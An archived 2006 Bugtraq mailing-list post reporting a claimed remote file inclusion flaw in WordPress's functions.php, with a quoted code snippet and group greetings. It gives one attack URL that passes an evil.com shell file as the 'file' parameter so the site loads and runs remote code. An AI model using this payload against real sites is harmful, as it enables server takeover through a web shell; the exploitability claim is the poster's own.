bugtraq - Wordpress File Inclusion

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <20061111021835.26382.qmail@securityfocus.com>
Date: 11 Nov 2006 02:18:35 -0000
From: vannovax@...il.com
To: bugtraq@...urityfocus.com
Subject: Wordpress File Inclusion

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
WordPress Remote File Inclusion
Download:http://wordpress.org/latest.zip
Found by _ANtrAX_ http://foro.c-group.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerable Code:   
{
   global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query,
       
      $wp_rewrite, $wpdb;

   
extract($wp_query->query_vars);

   
   require_once($file);
}
.....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected File:
/wp-includes/functions.php =]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability:
www.site.com/wp-includes/functions.php?file=http://evil.com/shell.txt?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greetz:V4MP1R3Z4, FRE4K , PENNISSMEN ,EL GROXO , DEYABU ROOLZ , MATASANOS,C-GROUP STAFF  . CHAPINHACK, SysRoot 洵